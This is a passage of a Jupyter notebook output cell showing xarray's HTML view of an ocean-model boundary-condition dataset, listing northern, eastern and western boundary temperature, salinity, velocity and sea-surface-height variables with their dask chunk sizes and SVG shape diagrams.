width=\"170\" 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class='xr-attrs'><dt><span>long_name :</span></dt><dd>eastern boundary vertically integrated u-flux component</dd><dt><span>units :</span></dt><dd>m/s</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 1.59 kiB </td>\n", " <td> 408 B </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (4, 102) </td>\n", " <td> (1, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 4 chunks in 132 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"170\" height=\"83\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines -->\n", 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"</svg>\n", " </td>\n", " </tr>\n", "</table></div></li><li class='xr-var-item'><div class='xr-var-name'><span>vbar_east</span></div><div class='xr-var-dims'>(bry_time, eta_v)</div><div class='xr-var-dtype'>float32</div><div class='xr-var-preview xr-preview'>dask.array&lt;chunksize=(1, 101), meta=np.ndarray&gt;</div><input id='attrs-872fa934-8240-4882-9dd4-e977ad7e4fab' class='xr-var-attrs-in' type='checkbox' ><label for='attrs-872fa934-8240-4882-9dd4-e977ad7e4fab' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-f6ba12bd-e097-4329-98a5-4c6071a92c29' class='xr-var-data-in' type='checkbox'><label for='data-f6ba12bd-e097-4329-98a5-4c6071a92c29' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>eastern boundary vertically integrated v-flux component</dd><dt><span>units :</span></dt><dd>m/s</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 1.58 kiB </td>\n", " <td> 404 B </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (4, 101) </td>\n", " <td> (1, 101) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 4 chunks in 132 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"170\" height=\"83\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"0\" y1=\"0\" x2=\"120\" y2=\"0\" style=\"stroke-width:2\" />\n", " <line x1=\"0\" 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class='xr-var-name'><span>temp_north</span></div><div class='xr-var-dims'>(bry_time, s_rho, xi_rho)</div><div class='xr-var-dtype'>float32</div><div class='xr-var-preview xr-preview'>dask.array&lt;chunksize=(1, 100, 102), meta=np.ndarray&gt;</div><input id='attrs-4befae01-e775-4736-b5e5-203fb5e89dd6' class='xr-var-attrs-in' type='checkbox' ><label for='attrs-4befae01-e775-4736-b5e5-203fb5e89dd6' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-c4d6ad26-2792-458e-b83f-54eb22fd4349' class='xr-var-data-in' type='checkbox'><label for='data-c4d6ad26-2792-458e-b83f-54eb22fd4349' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>northern boundary potential temperature</dd><dt><span>units :</span></dt><dd>degrees Celsius</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 159.38 kiB </td>\n", " <td> 39.84 kiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (4, 100, 102) </td>\n", " <td> (1, 100, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 4 chunks in 89 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"199\" height=\"187\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"29\" y2=\"19\" style=\"stroke-width:2\" />\n", " <line x1=\"10\" y1=\"117\" x2=\"29\" y2=\"137\" style=\"stroke-width:2\" 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for='attrs-f1211c83-fbdd-40a7-8c2a-37954a8f80d4' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-bb03e136-47ec-4fb2-89eb-4ed0c6ef4b72' class='xr-var-data-in' type='checkbox'><label for='data-bb03e136-47ec-4fb2-89eb-4ed0c6ef4b72' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>northern boundary salinity</dd><dt><span>units :</span></dt><dd>PSU</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 159.38 kiB </td>\n", " <td> 39.84 kiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (4, 100, 102) </td>\n", " <td> (1, 100, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 4 chunks in 89 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"199\" height=\"187\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"29\" y2=\"19\" style=\"stroke-width:2\" />\n", " <line x1=\"10\" y1=\"117\" x2=\"29\" y2=\"137\" style=\"stroke-width:2\" />\n", "\n", " <!-- Vertical lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"10\" y2=\"117\" style=\"stroke-width:2\" />\n", " <line x1=\"14\" y1=\"4\" x2=\"14\" y2=\"122\" />\n", " <line x1=\"19\" y1=\"9\" x2=\"19\" y2=\"127\" />\n", " <line x1=\"24\" y1=\"14\" x2=\"24\" y2=\"132\" />\n", " <line x1=\"29\" y1=\"19\" x2=\"29\" y2=\"137\" style=\"stroke-width:2\" />\n", "\n", " <!-- Colored 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meta=np.ndarray&gt;</div><input id='attrs-0db1cad6-1cdf-4bf9-8fa5-2fee7bfbfcb1' class='xr-var-attrs-in' type='checkbox' ><label for='attrs-0db1cad6-1cdf-4bf9-8fa5-2fee7bfbfcb1' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-17db7cc4-235d-4f6b-9071-d947dbc12faa' class='xr-var-data-in' type='checkbox'><label for='data-17db7cc4-235d-4f6b-9071-d947dbc12faa' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>northern boundary v-flux component</dd><dt><span>units :</span></dt><dd>m/s</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 159.38 kiB </td>\n", " <td> 39.84 kiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (4, 100, 102) </td>\n", " <td> (1, 100, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 4 chunks in 122 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"199\" height=\"187\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"29\" y2=\"19\" style=\"stroke-width:2\" />\n", " <line x1=\"10\" y1=\"117\" x2=\"29\" y2=\"137\" style=\"stroke-width:2\" />\n", "\n", " <!-- Vertical lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"10\" y2=\"117\" style=\"stroke-width:2\" />\n", " <line x1=\"14\" y1=\"4\" x2=\"14\" y2=\"122\" />\n", " <line x1=\"19\" y1=\"9\" x2=\"19\" y2=\"127\" />\n", " <line x1=\"24\" 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for='data-b1e82b1c-9b8a-4532-832d-76d6c972b80d' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>northern boundary sea surface height</dd><dt><span>units :</span></dt><dd>m</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 1.59 kiB </td>\n", " <td> 408 B </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (4, 102) </td>\n", " <td> (1, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 4 chunks in 48 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"170\" height=\"83\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"0\" y1=\"0\" x2=\"120\" y2=\"0\" style=\"stroke-width:2\" />\n", " <line x1=\"0\" y1=\"8\" x2=\"120\" y2=\"8\" />\n", " <line x1=\"0\" y1=\"16\" x2=\"120\" y2=\"16\" />\n", " <line x1=\"0\" y1=\"24\" x2=\"120\" y2=\"24\" />\n", " <line x1=\"0\" y1=\"33\" x2=\"120\" y2=\"33\" style=\"stroke-width:2\" />\n", "\n", " <!-- Vertical lines -->\n", " <line x1=\"0\" y1=\"0\" x2=\"0\" y2=\"33\" style=\"stroke-width:2\" />\n", " <line x1=\"120\" y1=\"0\" x2=\"120\" y2=\"33\" style=\"stroke-width:2\" />\n", "\n", " <!-- Colored Rectangle -->\n", " <polygon points=\"0.0,0.0 120.0,0.0 120.0,33.01282363906585 0.0,33.01282363906585\" style=\"fill:#ECB172A0;stroke-width:0\"/>\n", "\n", " <!-- Text -->\n", " <text x=\"60.000000\" y=\"53.012824\" font-size=\"1.0rem\" font-weight=\"100\" text-anchor=\"middle\" >102</text>\n", " <text x=\"140.000000\" y=\"16.506412\" font-size=\"1.0rem\" font-weight=\"100\" text-anchor=\"middle\" transform=\"rotate(0,140.000000,16.506412)\">4</text>\n", "</svg>\n", " </td>\n", " </tr>\n", "</table></div></li><li class='xr-var-item'><div class='xr-var-name'><span>ubar_north</span></div><div class='xr-var-dims'>(bry_time, xi_u)</div><div class='xr-var-dtype'>float32</div><div class='xr-var-preview xr-preview'>dask.array&lt;chunksize=(1, 101), meta=np.ndarray&gt;</div><input id='attrs-dff00ff6-d85e-4a74-abf0-485909c8ea80' class='xr-var-attrs-in' type='checkbox' ><label for='attrs-dff00ff6-d85e-4a74-abf0-485909c8ea80' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-aa8dacf6-f876-4fca-b6f2-08adbad7ac29' class='xr-var-data-in' type='checkbox'><label for='data-aa8dacf6-f876-4fca-b6f2-08adbad7ac29' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>northern boundary vertically integrated u-flux component</dd><dt><span>units :</span></dt><dd>m/s</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 1.58 kiB </td>\n", " <td> 404 B </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (4, 101) </td>\n", " <td> (1, 101) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 4 chunks in 132 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"170\" height=\"83\" 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text-anchor=\"middle\" transform=\"rotate(0,140.000000,16.536520)\">4</text>\n", "</svg>\n", " </td>\n", " </tr>\n", "</table></div></li><li class='xr-var-item'><div class='xr-var-name'><span>vbar_north</span></div><div class='xr-var-dims'>(bry_time, xi_rho)</div><div class='xr-var-dtype'>float32</div><div class='xr-var-preview xr-preview'>dask.array&lt;chunksize=(1, 102), meta=np.ndarray&gt;</div><input id='attrs-ed87ced1-1688-47fb-a692-70c8463c1654' class='xr-var-attrs-in' type='checkbox' ><label for='attrs-ed87ced1-1688-47fb-a692-70c8463c1654' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-5be48c87-abc8-4861-8476-1bbe7ec2d43f' class='xr-var-data-in' type='checkbox'><label for='data-5be48c87-abc8-4861-8476-1bbe7ec2d43f' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>northern boundary vertically integrated v-flux component</dd><dt><span>units :</span></dt><dd>m/s</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 1.59 kiB </td>\n", " <td> 408 B </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (4, 102) </td>\n", " <td> (1, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 4 chunks in 132 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"170\" height=\"83\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"0\" y1=\"0\" x2=\"120\" y2=\"0\" style=\"stroke-width:2\" />\n", " <line x1=\"0\" y1=\"8\" x2=\"120\" y2=\"8\" />\n", " <line x1=\"0\" y1=\"16\" x2=\"120\" y2=\"16\" />\n", " <line x1=\"0\" y1=\"24\" x2=\"120\" y2=\"24\" />\n", " <line x1=\"0\" y1=\"33\" x2=\"120\" y2=\"33\" style=\"stroke-width:2\" />\n", "\n", " <!-- Vertical lines -->\n", " <line x1=\"0\" y1=\"0\" x2=\"0\" y2=\"33\" style=\"stroke-width:2\" />\n", " <line x1=\"120\" y1=\"0\" x2=\"120\" y2=\"33\" style=\"stroke-width:2\" />\n", "\n", " <!-- Colored Rectangle -->\n", " <polygon points=\"0.0,0.0 120.0,0.0 120.0,33.01282363906585 0.0,33.01282363906585\" style=\"fill:#ECB172A0;stroke-width:0\"/>\n", "\n", " <!-- Text -->\n", " <text x=\"60.000000\" y=\"53.012824\" font-size=\"1.0rem\" font-weight=\"100\" text-anchor=\"middle\" >102</text>\n", " <text x=\"140.000000\" y=\"16.506412\" font-size=\"1.0rem\" font-weight=\"100\" text-anchor=\"middle\" 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:</span></dt><dd>western boundary potential temperature</dd><dt><span>units :</span></dt><dd>degrees Celsius</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 159.38 kiB </td>\n", " <td> 39.84 kiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (4, 100, 102) </td>\n", " <td> (1, 100, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 4 chunks in 89 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"199\" height=\"187\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"10\" 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id='attrs-21ca75fc-c8bd-4819-92b5-cd698f22b27e' class='xr-var-attrs-in' type='checkbox' ><label for='attrs-21ca75fc-c8bd-4819-92b5-cd698f22b27e' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-74237ed1-f21e-4099-8d11-7f246f9ac6db' class='xr-var-data-in' type='checkbox'><label for='data-74237ed1-f21e-4099-8d11-7f246f9ac6db' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>western boundary salinity</dd><dt><span>units :</span></dt><dd>PSU</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 159.38 kiB </td>\n", " <td> 39.84 kiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (4, 100, 102) </td>\n", " <td> (1, 100, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 4 chunks in 89 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"199\" height=\"187\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"29\" y2=\"19\" style=\"stroke-width:2\" />\n", " <line x1=\"10\" y1=\"117\" x2=\"29\" y2=\"137\" style=\"stroke-width:2\" />\n", "\n", " <!-- Vertical lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"10\" y2=\"117\" style=\"stroke-width:2\" />\n", " <line x1=\"14\" y1=\"4\" x2=\"14\" y2=\"122\" />\n", " <line x1=\"19\" y1=\"9\" x2=\"19\" y2=\"127\" />\n", " <line x1=\"24\" y1=\"14\" x2=\"24\" y2=\"132\" />\n", " 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repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>western boundary u-flux component</dd><dt><span>units :</span></dt><dd>m/s</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 159.38 kiB </td>\n", " <td> 39.84 kiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (4, 100, 102) </td>\n", " <td> (1, 100, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 4 chunks in 122 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " 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</th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 157.81 kiB </td>\n", " <td> 39.45 kiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (4, 100, 101) </td>\n", " <td> (1, 100, 101) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 4 chunks in 122 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"199\" height=\"188\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"29\" y2=\"19\" style=\"stroke-width:2\" />\n", " <line x1=\"10\" y1=\"118\" x2=\"29\" y2=\"138\" style=\"stroke-width:2\" />\n", "\n", " <!-- Vertical lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"10\" y2=\"118\" style=\"stroke-width:2\" />\n", " <line x1=\"14\" y1=\"4\" x2=\"14\" y2=\"123\" />\n", " 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type='checkbox'><label for='data-37b9e593-70b0-495b-a76d-251340d35c5a' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>western boundary sea surface height</dd><dt><span>units :</span></dt><dd>m</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 1.59 kiB </td>\n", " <td> 408 B </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (4, 102) </td>\n", " <td> (1, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 4 chunks in 48 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray 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xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>western boundary vertically integrated u-flux component</dd><dt><span>units :</span></dt><dd>m/s</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 1.59 kiB </td>\n", " <td> 408 B </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (4, 102) </td>\n", " <td> (1, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 4 chunks in 132 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"170\" height=\"83\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"0\" y1=\"0\" x2=\"120\" y2=\"0\" style=\"stroke-width:2\" />\n", " <line x1=\"0\" y1=\"8\" x2=\"120\" y2=\"8\" />\n", " <line x1=\"0\" y1=\"16\" x2=\"120\" y2=\"16\" />\n", " <line x1=\"0\" y1=\"24\" x2=\"120\" y2=\"24\" />\n", " <line x1=\"0\" y1=\"33\" x2=\"120\" y2=\"33\" style=\"stroke-width:2\" />\n", "\n", " <!-- Vertical lines -->\n", " <line x1=\"0\" y1=\"0\" x2=\"0\" y2=\"33\" style=\"stroke-width:2\" />\n", " <line x1=\"120\" y1=\"0\" x2=\"120\" y2=\"33\" style=\"stroke-width:2\" />\n", "\n", " <!-- Colored Rectangle -->\n", " <polygon points=\"0.0,0.0 120.0,0.0 120.0,33.01282363906585 0.0,33.01282363906585\" style=\"fill:#ECB172A0;stroke-width:0\"/>\n", "\n", " <!-- Text -->\n", " <text x=\"60.000000\" y=\"53.012824\" font-size=\"1.0rem\" font-weight=\"100\" text-anchor=\"middle\" >102</text>\n", " <text x=\"140.000000\" y=\"16.506412\" font-size=\"1.0rem\" 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class='xr-attrs'><dt><span>long_name :</span></dt><dd>western boundary vertically integrated v-flux component</dd><dt><span>units :</span></dt><dd>m/s</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 1.58 kiB </td>\n", " <td> 404 B </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (4, 101) </td>\n", " <td> (1, 101) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 4 chunks in 132 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"170\" height=\"83\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"0\" y1=\"0\" x2=\"120\" y2=\"0\" style=\"stroke-width:2\" />\n", " <line x1=\"0\" y1=\"8\" x2=\"120\" y2=\"8\" />\n", " <line x1=\"0\" y1=\"16\" x2=\"120\" y2=\"16\" />\n", " <line x1=\"0\" y1=\"24\" x2=\"120\" y2=\"24\" />\n", " <line x1=\"0\" y1=\"33\" x2=\"120\" y2=\"33\" style=\"stroke-width:2\" />\n", "\n", " <!-- Vertical lines -->\n", " <line x1=\"0\" y1=\"0\" x2=\"0\" y2=\"33\" style=\"stroke-width:2\" />\n", " <line x1=\"120\" y1=\"0\" x2=\"120\" y2=\"33\" style=\"stroke-width:2\" />\n", "\n", " <!-- Colored Rectangle -->\n", " <polygon points=\"0.0,0.0 120.0,0.0 120.0,33.07303974393395 0.0,33.07303974393395\" style=\"fill:#ECB172A0;stroke-width:0\"/>\n", "\n", " <!-- Text -->\n", " <text x=\"60.000000\" y=\"53.073040\" font-size=\"1.0rem\" font-weight=\"100\" text-anchor=\"middle\" >101</text>\n", " <text x=\"140.000000\" y=\"16.536520\" font-size=\"1.0rem\" font-weight=\"100\" text-anchor=\"middle\" transform=\"rotate(0,140.000000,16.536520)\">4</text>\n", "</svg>\n", " </td>\n", " </tr>\n", "</table></div></li></ul></div></li><li class='xr-section-item'><input id='section-29e85553-6ae3-436b-b744-2f93cc25a346' class='xr-section-summary-in' type='checkbox' ><label for='section-29e85553-6ae3-436b-b744-2f93cc25a346' class='xr-section-summary' >Indexes: <span>(1)</span></label><div class='xr-section-inline-details'></div><div class='xr-section-details'><ul class='xr-var-list'><li class='xr-var-item'><div class='xr-index-name'><div>bry_time</div></div><div class='xr-index-preview'>PandasIndex</div><div></div><input id='index-aa5163f2-b81f-41e6-a667-ea4a58f39d7d' class='xr-index-data-in' type='checkbox'/><label 